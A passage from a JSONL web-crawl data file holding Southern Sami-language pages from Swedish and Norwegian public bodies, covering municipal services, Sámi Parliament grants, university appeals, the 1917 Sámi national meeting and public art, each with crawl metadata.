arbetsförmedlingem stuvrie jïh åesehths lea dam nuhtjedh. Tjïelte daamhtah orre barkijh ohtsedeminie jïh laavenjostem åtnah arbetsförmedlinginie.\nLohkh vielie arbetsförmedlingen bïjre\nÅrromesijjie\nUppsalesne tjuara raajrosne tjåadtjodh juktie viehkiem tjïelteste åadtjodh årromesijjiem gaavnedh. Tjïelten årromesijjieh leah leejjemegåetieh mejtie Uppsala Hem stuvrie. Private leejjemesïelth aaj gååvnesieh mah leejjemegåetieh faelieh.\nVielie bïevnesh Uppsalahem´n bïjre\nVielie bïevnesh dutnjan gie studente lea\nJis dov lea nuepie leejemereaktah-gåetiem jallh gåetiem åestedh dle stuerebe nuepie årromesijjiem varki gaavnedh. Gellie private mäklare gååvnesieh mejtie maehtieh datnem viehkiehtidh dejnie.\nGärjagåetieh jïh kultuvre\nGärjagåetine maahtah vuesiehtimmien gaavhtan gärjah löönedh, plaerieh gellie ovmessie gïeline lohkedh jïh bïevnesh ohtsedidh. Tjïelte aaj öörnie guktie ovmessie darjomh gååvnesieh mejtie maahtah dov frijjestijjesne darjodh: museum´idie mïnnedh jïh aaj konserth, saavreme jïh vielie.\nLohkh vielie kultuvren jïh saavremen bïjre\nJis akute viehkiem daarpesjh\nTjïelte dïedtem åtna viehkiedimmiedïenesjasse man sisnie dållevaarjelimmie. Jis akute gaskesem dejgujmie daarpesjh, jallh seamma polijsine jallh ambulansine: ringkie 112. Dïhte ikte-jarnge gajhkh akute tsiehkide.\nVielie bïevnesh akute dåarjegen bïjre Desnie aaj bïevnesh gaavnh dan bïjre gusnie maahta gaskesadth jïh viehkiem åadtjodh jis ij seamma akute: jis datne aajhteme, dåarjegh daarpesjh jallh jis naaken dov lïhkemes fuelhkesne datnem irhkie, vuesiehtimmien gaavhtan.","id":"","dump":"CC-MAIN-2017-26","url":"https:\/\/www.uppsala.se\/sprak\/sydsamiska\/","date":"2017-06-29T05:33:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128323870.46\/warc\/CC-MAIN-20170629051817-20170629071817-00350.warc.gz","language":"sma","language_score":0.9999997616,"language_script":"Latn","minhash_cluster_size":40,"top_langs":"{\"sma_Latn_score\": 0.9999997615814209}","num_words":449,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maahtah tseegkemedåarjoen bïjre ohtsedh 1. boelhkese: Åestije-, jïh dorjese\/dïenesjefokuse jïh\/jallh 2. boelhkese: Evtiedimmie- jïh sjïdtemeboelhke.\nFormålet med tilskuddsordningen er å sikre det finansielle grunnlaget til organisasjonene til partier og grupper som er representert i Sametinget\nSaemiedigkie dåarjoem vadta juktie sïejhme jïh sjïere sjïehteladteme learoevierhtieh maadthlïerehtæmman evtiedidh\nJeatjah guhkiebasse barkoe saemien reaktajgujmie, arealigujmie jïh vierhtiejgujmie - ohtsemebaseradamme dåarjoe\nSaemiedigkie gïeleskreejremestipendem vadta learoehkidie jåarhkeskuvlesne mej saemien goh faage jåarhkeskuvlesne.\nSaemiedigkie ulmine åtna duedtie edtja evtiesovvedh goh akte båetijen aajkan stuvreme jïh fryöjstehke jieleme saemien dajvine. Akte dejstie Saemiedigkien vihkielommes dïrregijstie juktie duedtiem evtiedidh lea Jielemelatjkose duadtan man bijre duedtiesiebrieh jïh Saemiedigkie seamadieh. Jielemelatjkosne gellie ovmessie dåarjoeöörnegh.","id":"","dump":"CC-MAIN-2017-26","url":"https:\/\/saemiedigkie.no\/Daaarjoe-jih-stipende","date":"2017-06-28T17:21:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128323721.80\/warc\/CC-MAIN-20170628171342-20170628191342-00513.warc.gz","language":"sma","language_score":0.9999792576,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999792575836182}","num_words":101,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dæjmetje tjaaktjen dellie Aarboerten tjïelte eelki aalkoe prosjeektesne goerehtalledh jis edtja guektiengïelen tjïelte, saemien gïele reereme dajvesne sjidtedh.\nBarkoedåehkiem veeljin jih dah goerehtalleme magkeres nuepiem, Aarboerten tjïelte åtna jih guektien gïelen tjïelte sjidtedh.\nGåalmede tjïelte åarjelsaemien dajvesne.\nRaarvijhken tjïelte guektiengïelen tjïelte 1.1 2013 sjidti. Snåasen tjïelte guektiengïelen tjïelte jaepien 2008 sjidti\nAarboerten tjïelten barkoedåehkie lea raarastalleme Raarvijhken tjïeltine jih dah bihkedamme guktie edtjieh tjiehpieslaakan barkedh jih joekoen ohtsemem tjaeledh.\nAarboerten tjïelteståvroe edtja ruffien 25.b. gaavnedidh jih daan aamhtesen bijre nænnoestidh jis hojhte edtja ohtsemem tjïelte departemeentese seedtedh.\n- Lohkh aaj : www.nrk.no\/sapmi\/samegillii\/1.11691939","id":"","dump":"CC-MAIN-2017-26","url":"https:\/\/www.nrk.no\/sapmi\/guektiengielen-tjielte-1.11772290","date":"2017-06-26T06:56:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320685.63\/warc\/CC-MAIN-20170626064746-20170626084746-00030.warc.gz","language":"sma","language_score":0.9999712706,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999712705612183}","num_words":87,"character_repetition_ratio":0.122,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jïlleskuvlen klååkememoenehtse\nJïlleskuvlen klååkememoenehtse lea reereme mij klååkemijgujmie sjïere nännoestimmijste universiteetine, jïlleskuvline jïh barkoe-jïlleskuvline baarkieh. Klååkememoenehtsem lea minngemes reereme dah aamhtesinie. Dïhte säjhta jiehtedh ahte ij gåeredh klååkememoenehtsen nännoestimme gïelkerdidh.\nKlååkedh\nJis sïjhth akte nännoestimmesne jïlleskuvlen klååkememoenehtsasse klååkedh, dle edtjh tjaeledh. Tjaalegisnie edtjh tjaeledh magkeres nännoestimmien bïjre lea, jïh maam sïjhth jeatjadehtedh. Dïhte aaj vihkeles ahte tjaelminie man åvteste datne sïjhth nännoestimmiem jeadtjadehtedh. Byörh aaj jïjtje nommem jïh påastesijjie tjaeledh. (Hijven jis telefovnenummere jïh e-påaste aaj meatan). Barre dïhte mij nännoestimmiem däjpa maahta klååkedh.\nGåabph klååkemem seedtedh?\nTjaalegem edtjh universiteetese, jïlleskuvlese jallh barkoe-jïlleskuvlese maam næannoestimmiem veedteme seedtedh. Maahtah aaj tjaalegem skuvlesne laehpedh. Ih edtjh tjaalegem jïlleskuvlen klååkememoenehtsasse seedtedh. Gåabph edtjh tjaalegem seedtedh pråvhka nännoestimmesne tjåadtjodh.\nKlååkh rïektes tijjemieresne\nKlååkemem edtja nännoestimmiemoenehtsasse golme våhkoej sisnjelen båeteme, dle ryöknesovveme don biejjieste goh datne nännoestimmiem åadtjoejih .\nGosse lea barkoe bïjre, dle tïjjem ryøknesåvva don biejjeste gosse bïevnesem nännoestimmien bïjre skuvlen gåajkoe bööti\nDïhte lea vihkeles rïektes tïjjemieresne klååkedh. Jis ih dam darjoeh, dle klååkemem maahta nyöjhkeme sjïdtedh.\nGïetedalleme klååkemistie\nGosse klååkemem skuvlese båeteme, dle voestegh vuejnieh jis rïektes tïjjemieresne båeteme. Jis dam dorjeme, dle vijriebasse klååkine barkieh. Muvhtine skuvlem maahta nännoestimmiem maam aerebi vedteme jetjadehtedh. Jis ij deahpa, dle dov klååkeme, jeatjah paehperihujmie, jïlleskuvlen klååkememoenhtsasse seedtesovvieh.\nGosse klååkememoenehtsem paehperide jïh soptsestimmiem skuvleste åådtjeme, dellie aelkieh aamhtesem gïetedalledh.\nMoenehtsem akte soptsestimmie klååkemistie seedtieh, disse gie klååkemem laehpeme, juktie dïhte aaj åadtjoe sov åssjalommh aamhtesen bïjre vedtedh.\nBarkoetïjjem barkoste barkose målsohte. Dåhkasjimmie-aamhtesine sïejhmemes ahte svåaroe männgan göökte vååhkoeh åadtjoe. Jeatjah skuvle-aamhtesh jïh barkoe-aamhtesh maehtieh såemies askh vaeltedh.\nKlååkememoenehtsem akte nännoestimmie bäjhkoehtieh gosse moenehtsen åejvie nännoestimmiem sjïehteme. Nännoestimmiem dovne disse maam klååkeme jïh skuvlen gåajkoe seedtesovvieh. Jis lea barkoe bïjre, dle dïhte gie barkoem åadtjoeji, nännoestimmiem aaj åadtjoe.\nDah nännoestimmine maahtah klååkedh\nNännoestimmie staateles universitetijste jïh jïlleskuvlijste dah tsiehkine (12:n kapïhtele 2§ jïlleskuvlenjoelkedassem, 1993:100)\n- Nännoestimmie barkoe bïjre, aktene univeristetesne jallh jïlleskuvle (ij gosse lea doktorande-barkoen bïjre)\n- Nännoestimmie mij lea dan bïjre ahte akte syökere ij krïevenasside dievhtede, jïh nännoestimmie mij lea dan bïjre ahte ij edtjh sjïere mieriedimmie maahtoe-njoelkedassijste darjodh gosse edtja syökerem dåhkasjehtedh.\n- Nännoestimmie man bïjre lea jis akte almetje åadtjoe ööhpehtimmie jallh barkoe meatan ryöknedh gosse syökede.\n- Nyöjhkeme akte studenten gïhtjedimmesne, ahte ij edjth daarpesjidh aktene veadtaldihkie momeentesne meatan årrodh.\n- Nännoestimmie ahte viertieh akte doktoranden dotkeme-øøhpehtimmeste bååstede vaeltedh, jïh nännoestimmie ahte akte doktorande ij edtjh vierhtide bååstede åadtjodh.\n- Nyöjhkeme gïhtjedimmesne ahte eksaamene jallh kuvsjejååhkesjimmie åadtjodh.\n- Nännoestimmie ahte ij tïjje vedtedh disse mij sijjie aktene ööpehtimmesne åtna, jïs säjhta ööhpehtimmiem aelhkedh jallh jåerhkedh männgan aastoe ööhpehtimmeste vaalteme.\n- Nännoestimmie akte universiteteste jallh jïlleskuvle, staaten åejvine, dan gaavhtan nännoestimmiem irhkemenihtemem jallh nihtemem bysvehtside sträjra. (Irhkemelaake, 2008:576)\n- Nännoestimmie ahte ööhpehtimmievierhtie doktoranide bååstede krïevedh (Njoelkedassem (1995:938) ööhpehtimmievierhtie doktorandide bïjre)\n- Nännoestimmie akte universiteteste jallh jïlleskuvle, ahte studeentedåehkiem studeentekåårese darjodh, jallh jis akte studeentekååre ij edtjh kååre vielie årrodh. (Studeentekååre-njoelkedassem 2009:543)\n- Nännoestimmie ahte studeentem geerelidh, dan gaavhtan ij øøhpehtimmieskaehtiem maeksieh. (Njoelkedassem (2010:543) bäjhkoehtimmie jïh ööhpehtimmieskaehtien bïjre, universitetine jïh jïlleskuvline)\n- Nännoestimmie ööhpehtimmievierhtien bïjre (Njoelkedassem (2016:706) pedagogihkeles lissieööhpehtimmien bïjre, maam faagelohkehtäjja-eksaamene veadta, almetjide mah eksaamene dotkemedaltesne utnieh)\nGosse lea ööhpehtimmien bïjre, barkoe-jïlleskuvlesne, dle maahta dah nännoestimmine klååkedh (njoelkedassem (2009:130) barkoe-jïlleskuvlen bijre): Nännoestimmie akte ööhpehtimmie-öörniehtæjjaste, nyöjhkemen bïjre, akte studeenten gïhtjedimmesne eksaamene jallh kuvsjejååhkesjimmie åadtjodh,\nNjoelkedassen mietie, maahtah aaj dah nännoestimmine, universiteteste jallh jïlleskuvleste (staaten åejvine) klååkedh:\n- Nännoestimmie mij lea dan bïjre ahte akte syökere ij maahtoe-kvrïevenasside dievhtede.\n- Nännoestimmie man bïjre lea jis akte almetje åadtjoe øøhpehtimmie meatan ryöknedh.\nNännoestimmie man bïjre lea magkeres daltesasse akte maahtoe svååroe. (njoelkedasse (2015:545) vuesihetimmie-njoelkedasse maahtoen bïjre.\nGaskese\nJïlleskuvlen klååkememoenehtse\nBox 7249\nSE-103 89 STUEHKIE\nSveerje\nTel: + 4 6 (0)8 563 087 00\nFax: + 46 (0)8 563 085 50\nE-mail: onh(at)onh.se","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/onh.se\/minoritetssprak\/sydsamiska---aarjelsaemien-giele.html","date":"2017-06-24T20:48:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320338.89\/warc\/CC-MAIN-20170624203022-20170624223022-00462.warc.gz","language":"sma","language_score":0.999997735,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 0.9999977350234985}","num_words":570,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sveerjesne deemovkratije lea. Baakoe deemovkratije seamma goh almetjiståvroe. Naemhtie sjädta almetjh mah Sveerjesne jielieminie dah åadtjoeh meatan årrodh jih nännoestidh guktie Sveerjem tsevtsedh. Maadthlaagesne tjåådtje Sveerjen gaajhkem faamoem almetjijstie båetieh jih rijhkebiejjie dej voesteges åvtehke. Fierhten nealjeden jaepien dellie almetjh veelji dejtie almetjidie mah edtjieh dennie rijhkebijjesne, laantedigkine jih tjieltine tjahkasjidh. Dah politihkerh mah rijhkebiejjesne tjahkan, gaajhkem nännoestieh mah daennie laantesne edtja sjidtedh. Ministerh mah dennie reerenassesne laantem tsevtsedh maam rijhkebiejjie nännoestamme. Politihkerh laantedigkesne jih tjieltine stuvrieh dam laantem gusnie dah årroeminie. Daesnie vaestidassem åadtjoeh naakenidi siejhmes gyhtjelasside rijhkebiejjien bijre.","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/riksdagen.se\/sma-SE\/sprak\/other-languages\/aarjelsaemien-sydsamiska\/","date":"2017-07-22T06:52:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549423903.35\/warc\/CC-MAIN-20170722062617-20170722082617-00088.warc.gz","language":"sma","language_score":0.9999536276,"language_script":"Latn","minhash_cluster_size":52,"top_langs":"{\"sma_Latn_score\": 0.9999536275863647}","num_words":90,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjiehpiedæjja Astri Aasen (1875-1935) lij aareh njieljieluhkiejaepiej gosse Saemiej rijhketjåanghkoe lij Tråantesne 1917. Dïhte lij måaladæjja jïh guvviedæjja, reakadamme jïh byjjenamme Tråantesne. Doh nyjsenæjjah mah tjåanghkoem öörnedin lin jïemmehkh. Elsa 40 jaepieh illi gålkoen 1917, mearan beetnehreerije Anna Löfwander-Jarwson lij reakadamme 1873 jïh tjaelije Ellen Lie 1876.\nGosse Valdemar Lindholm Saemiej rijhketjåanghkoen bïjre Tråantesne tjeeli, veelji gujnide åvtese lutnjedh mah lin eadtjohke tjïrrehtimmesne tjåanghkoste. Dïhte aaj Astri Aasenem ållermaahta, guvviedamme sov atelijeeresne jïh jïjtjeportrehtine. Uktsie dejstie mah lin tjåanghkosne guvviedamme sjïdtin, jïh dan åvteste aktem sjïere vihtiestimmiem tjåanghkoste utnebe. Daan biejjien daah guvvieh Saemiedigkesne Karasjohkesne gævnjasjieh.\nAstrin aehtjie lij gulliesmïrre Tråantesne. Jaepietjuetien aalkoelisnie lij göökte boelhkh learohke Harriet Backeren måaladæjjaskuvlesne Oslosne. Dïhte portrehtekåanstem haalvoeji.\nLindholmen tjaalege, Samefolkets landsmøte, samekvinnors verk (Saemiej rijhketjåanghkoe, saemiengujni vierhkie) lij trygkesovveme goevten 25. b. 1917 sveerjen tjaalegisnie Idun, vuelienommine illustrerad tidning för kvinnan och hemmet (plaerie guvviejgujmie gujnese jïh hïejmese), lea akte vihkeles gaaltije juktie tjåanghkoem guarkedh.\nTjaalege lea digitaliseradamme Gøteborgen universiteeteste.\nDan gåhkese daejrebe Astri Aasen uktsie dejstie mah lin tjåanghkosne guvviedi, dejstie golme gujnh. Göökte dejstie gujneguvvijste leah gaatesjen nommehth, Kvinneportrett uten navn (Gujneportrehte nommehth) jïh Gammel lappekone (Båeries saemiengujne). Gaptaj gaavhtan maahta vuejnedh dah leah åarjelsaemien dajveste.\nJis veelebe histovrijes gaaltijinie åhtsa dej guvviedamme saemiej mietie, dellie ïedtjije bïevnesh gaavna:\nMarie Finskog, 67 jaepien båeries, reakadamme 1851 Rørosesne. Almetjeryöknemen mietie jaepeste 1910 dïhte don jaepien gaertienisnie Monset gaard Orkdalesne årroeji, geellebinie ektine man nomme Halvor, mij lij ånnetji nuerebe. Dïhte bïjre jarkan mïnnedi jïh gïetevætnoeh doeki, jïh sitaate: lea mïnnedamme dovne Nöörjesne jïh Sveerjesne jïh hååleme «saemiej dïedtelgamme sijjien bïjre».\nThorkild Jonassen, 78 jaepien båeries, reakadamme 1939 Kråangkesne, lea guvviedamme ij goh unnebe goh göökte guvvine.\nDaniel Mortensen, 56 jaepien båeries, reakadamme Skalstu-vaeresne Verdalesne. Almetjeryöknemen mietie 1900 lij aarpije, gaertienisnie Svukuriset åarjel Tolgesne årroeji sov maanajgujmie ektine. Almetjeryöknemen 1910 mietie lij orresistie pruvreme, jïh daelie lea tjaalasovveme goh gaerteneaajhtere (heajmeneburrie), båatsoeburrie, redaktööre saemien plaereste «Waren Sardne». Minngemes ryöknemisnie dellie uktsie altese maanijste lin tjaalasovveme goh bielie gåetiegunteste. Dïhte Rørosesne sealadi 1924.\nDan lij akte vihkeles råålla dennie saemiepolitihkeles barkosne, man bïjre jïjnje lea tjaalasovveme, jïh mij akte jeatjah histovrije.\nLissine Hans Fjellstedt sveerjen bieleste, noere baernie Anders Fjelner, Johan Roska Unjargeste (Nesseby) jïh Klemet Somby Karasjohkeste leah guvviedamme.\nLohkh vielie gærjesne Samenes første landsmøte maam Peder Borgen lea tjaaleme (Tapir 1997).","id":"","dump":"CC-MAIN-2017-30","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Sjiere-guvvieh-rijhketjaaanghkoem-1917-vihteste","date":"2017-07-27T04:26:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549427429.9\/warc\/CC-MAIN-20170727042127-20170727062127-00318.warc.gz","language":"sma","language_score":0.9998668432,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9998668432235718}","num_words":361,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Staaten tjeahpoeraerie goerehtieh jih evtiedieh dejtie ektiedimmie-tjeahpojde, guktie byjjehtims tjiehtjelasside tjåanghkan buektedh. Mijjieh barkebe sjieketjeahpoej jih annjebodts prosjektigujmie jih aaj staaten evtiedimmieprosjektine publikasjovnine jih digkiedimmine guktie edtjebe dejtie byjjehtims tjiehtjelh evtiedamman buektedh.\nGaajhkh dah byjjehtims tjeahpoej hammoeh destie ektidimmie-tjeahpoejste mah byjjehtims tjiehtjelisnie vuesiehtieh, jih aaj dah guhtjelassh mah ektiedimmesne leah. Ektiedimmietjeahpoe ij leah barre naan objekte, vååjnoes goh sosiale interaktsjovne jih laejhtems jih iedtjeme vuekie aaj. Seamma vuekien mietie vuejnebe eah leah dah byjjehtims tjiehtjelh barre geajnoe jih tåarjesijjie, viehkeles leah aaj dah jeatjebh sosiaale jih mentaale byjjehtimes tjiehtjelh gosse ektine miedtedh dellie jeatjligkie åssjalommoe maahtah aaj sjidtedh Daate vieve dehtie komplexe jih jeatjadehteme tsiehkie, lea Staaten tjeahpoeraerien reektes åssjalommoeh.\nTjeahpoeraerie guhkie maadtoem ektiedimmiebarkojne jih dej tjeahpoehtäjjajgujmie åtna guktie orre aath buektedh. Dennie mijjen barkoe jargesne desnie tjeahpoehtäjjah jih kuraatovrh guerehtieh guktie jijtjedh maehtedh dam tjeahpoem byjjehtims tjiehtjelasside buektedh. Destie barkojeste maahtoem jih vuekiem buektedh guktie ovmese ektievuekietsiehkine sjiehtelidh, goh staaten-evtiedimmie gusnie tjeahpoehtäjjaj vuekie buerebe sjädta guktie dam sjiere sosiaale jallh jitjedh hammoedimmie maahtoen bijre barkedh.\nDennie tjeahpoeraerien maadtegisnien gååvnesje demokraatien iedtjen laavenjasse jih akte jaahkoe mah vihkeles dennie ektievuekien sijjesne, jih jaksoes edtja gaajhkide årrodh, guktie maehteih dam ektiedimmie- tjeahpoem vuesiehtidh desnie gusnie almetjh leah, dellie buerie nuepie sjädta jih vuejnedh guktie maehtieh dam tjeahpoem orrestehtedh jih skaepiedidh. Mijjen barkoen tjirrh maehtebe staatine ektine barkedh guktie maehtebe dam tjeahpoem dej sjiere byjreskigujmie buektedh goh liensieåeline jih noerigåetine, juktie desnie barre naan aejkien kultuvre jaksoes lea, jih seamma dej laanti universitet jih jylleskåvlide, desnie gyhtjelassh dan ektiedimmie-tjeahpoen bijre sjädta jih fåårskerh maehtieh dan mijjen eatnemen bijre gueriehtieh.\nJaepien 1937 dellie Staaten tjeahoperaerie elkiji, jih staaten åejvie Kultuvredepartemeenten nuelesne lea. Dah barkoedorjeme mah Tjeahpoeraerie buakteme dah leah bijre gaektsieluhkie jaepieh båeries, desnie maehtebe vihkeles evtidimmien tjeahpoej giejh vuejnedh guktie Sveerjen ektievoete aerebie orreme. Tjeahpoeraerie sjidti dellie gosse Sveerje veaksehke jielemisnie lij. Daelie jeatjhligkie sjidteme gosse dan edtjohke värrhtoedimmie lea, daelie stoerre nuepie leah guktie orre vuekiem dan ektiedamman buektedh.\nGosse edtja dam värrtoedimmien ektievoetesne jih dam veaksekes evtidimmiem dåeriedidh jih vuejnedh jis seamma ektietjeahpoe daelie sjidteminie. Jaepien 2012 dellie aelkebe jeatjligkie barkedh dej tjåadtjoems tjeahpojgujmie, storre tjåanghkoe dennie staaten byjreskinie, vihkeles lea aaj jih raeriestidh dej loeves hammoej bijre dennie staaten evtiedimmesne guktie orre barkijh maehtieh dennie byjjehtims tjeahpoedimmesne sjidtedh.\nTjåadtjoems tjeahpoeh\nStaaten tjeahpoeraerie stingks tjeahpoedorjemem buakta dej orre bigkedims-gåetih jih byjreskidie dan staatenbarkose. Mijjieh barkebe aaj dej jielije guvvieh jih tjuajemes guvvieh jih abpe faasadh\/ gåetiebäjngolen-viedtjigyjmie. Tjeahpoeraerie nuhtjieh dejtie tjiehpies sveenske jih tjeahpoeguvviedäjjide mah ålkoelaantijste, mohte aaj dah noere tjeahpoehtäjjide dah mah eah leah aerebie dej byjjehti byjreski tjeahpoegujmie barkeme.\nAnnjebodts prosjekth\nGellie jaepie åvteli dellie dah tjeahpoehtäjjah sijhtieh bäjngoelisnie dam vuesiehtimmie-tjiehtjelem tjåadtjodh, guktie jijtjedh maehtedh dejtie tjeahpoeprosjektide orre dajvie gaskoe evtiedidh. Eah goh naan jeatja tjeahpoehammoe dej orre dajvie mietie sjidteme, goh filmijste jih hammoehtäjjijste jih aaj dan politijhkese jih journalistikese, barre naaken dejstie. Daelie leah jijnjh tjeahpoehtäjjah dam tjielkes barkoem dej jeatjah ovmesie byjjehtims tjiehtjeli mietie ohtsedeminie, jih ektiedimmien guhtjelassh. Dennie prosjektine maahta tjeahpoeraerie ektine hammoehtäjjigujmie orre barkoej bijre gueriehtidh.\nStaaten evtiedimmie\nGaskoeah dah jaepie 2010 – 2013 dellie tjeahpoeraerie barkiji ektine Rijhkeaantikvaari-moenehtassine. Boverket jih aarkitekture jih hammoehtäjja-gievlie ektine bijre dah reerenassen-laavanjassh guktie maehtedh dennie byjjehtims byjreskinie barkedh. Daate vuesehte guktie dihte iektemeran byjreske maahta veaksehke sjidtedh gaskoe dah barkoedåehkie jih otnegh gosse bigkedimmien bijre rååresjidh. Laavenjasse vuesehte guktie dah ovmesie tjeahpoeburrien maahtoeh, guktie dejtie buektedh jih orre raerie dan staate-evtiedimmesne sjidtedh. Jaepien 2014 dellie orre barkojne aelkebe guktie staaten evtiedimmine ektine sjidtedh dennie mijjen maadtoebarkosne jih dam evtiedidh, daate vuesehte guktie edtjebe dah båetije beajjan barkedh.\nTjeahpoedåehkie\nStaaten tjeahpoeraerie tjeahpoedåehkide buakta dan staaten barkose mah bijre jarkan Sveerjesne leah, jih aaj dah ålkoelaanti- reeremesi barkoeh. Dej leah stoerre vijries tjeahpoedimmie gusnie ektietjeahpoe jih eeremes dah båeries aath dejstie sveenske tjeahpoetäjjijste. Dennie byjreskini leah tjirkemegåetie, liensiesijjieh, barkoesijjie, NewYorken Fn`n gåetie jih aaj Sveerjen ambasadh mah bijre jarkan eatnemisnie , dellie jijnjh almetjh maehtieh dejtie ovmesie tjeahpoeh jih tjeahpoedimmij diejvesh gaavnedidh.\nTjeahpoe-såjhtoe\nDehtie jaepeste 2004 dellie Staaten tjeahpoeraerie giehtjedimmiem åtna bijre dah reeremes åalam jih staaten tjeahpoh jih gåetieaajhteri jih dah bigkedimmien-viedtegs tjeahpoeh.\nStaate åtna bijre 100 000 byjjehtims tjeahpoeaath , dehtie leah 200 bijre jarkan Sveerjen reeremisnie leah, jih dah 100 ålkoelaanti reeremisnie jih akte stoerre veaksehke tjeahpoeh jih kultuvrihistorie jih dåajroe vierhtieh gåvvnesje. Tjeahpoeraerie guerehte jih deadta reeremidie guktie staaten proffesjovnelle tjeahpoejde guhkiem jih stingkes vaarjelidh. Raeriem vedtebe aaj dejtie 100 tjuehti gåetieaajhteridie bijre dam åalam jih reeremem jih bigkemeveadtan tjeahpoe maam dle staaten tjeahpoeraereste dongkeme.","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/www.statenskonstrad.se\/en\/fler-sprak\/samegielat-sydsamiska","date":"2017-07-22T06:33:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549423903.35\/warc\/CC-MAIN-20170722062617-20170722082617-00529.warc.gz","language":"sma","language_score":0.9999700785,"language_script":"Latn","minhash_cluster_size":46,"top_langs":"{\"sma_Latn_score\": 0.9999700784683228}","num_words":715,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjoejkeme hævvi akte dejstie tjïelten sïeptegijstie, bene jïjnjh jeatjah darjomes aaj gååvnesieh disse mij dam sæjhta.\nÅåren tjïelte lea tsïengelen 1. biejjien mænngan, 2010, meatan dennie vijriedamme reeremedajvesne saemiengïelese.\nDïhte saemien kultuvre jïh gïele leah vihkeles bielieh dehtie tjïelten vuekijste jïh identiteteste. Ååren tjïeltesne tjohtjebe \" aktem jielemem dan åarjelsaemien gïelese vedtedh\", mij sæjhta jiehtedh sjïere råajvarimmieh guktie maahta dam åarjelsaemien gïelem dovne vaarjelidh jïh evtiedidh båetije biejjide.\nMijjieh vïenhtebe gaajhkesh maehtieh jïjtse sijjiem Ååren tjïeltesne gaavnedh.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/are.se\/kommunpolitik\/samiska","date":"2017-08-22T16:47:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886112533.84\/warc\/CC-MAIN-20170822162608-20170822182608-00395.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":74,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeline åahpenidh 3. Lohketæjjan bïhkedimmie. Åarjelsaemien mubpiegïeline. (Lærerveiledning andrespråk)\nLohkehtæjjan bïhkedimmie mubpiegïeline, 3.daltesasse\nLærerveiledning andrespråk, nivå 3\nDaennie bïhkedimmesne vuesiehtimmieh jïh raerieh guktie maahta lohkemegærjam Gïeline åahpanidh 3, lohkemegærja mubpiegïeline jïh barkoegærjam Gïeline åahpenidh 3 barkoegærja mubpiegïeline nåhtadidh.\nI denne lærerveiledningen finnes eksempler og råd om hvordan en kan bruke leseboka Gïeline åahpanidh 3, lohkemegærja mubpiegïeline og arbeidsboka Gïeline åahpenidh 3 barkoegærja mubpiegïeline.\nBestillinger til skoler og institusjoner bes rettet til ordretelefon 22500400.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/solumforlag.no\/boker\/g%C3%AFeline-%C3%A5ahpenidh-3-lohket%C3%A6jjan-b%C3%AFhkedimmie-%C3%A5arjelsaemien-mubpieg%C3%AFeline-l%C3%A6rerveiledning","date":"2017-08-18T14:37:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886104681.22\/warc\/CC-MAIN-20170818140908-20170818160908-00379.warc.gz","language":"sma","language_score":0.9958343506,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"sma_Latn_score\": 0.9958343505859375}","num_words":66,"character_repetition_ratio":0.144,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.03,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båatsoe-jieleme Trollhïejmesne lea 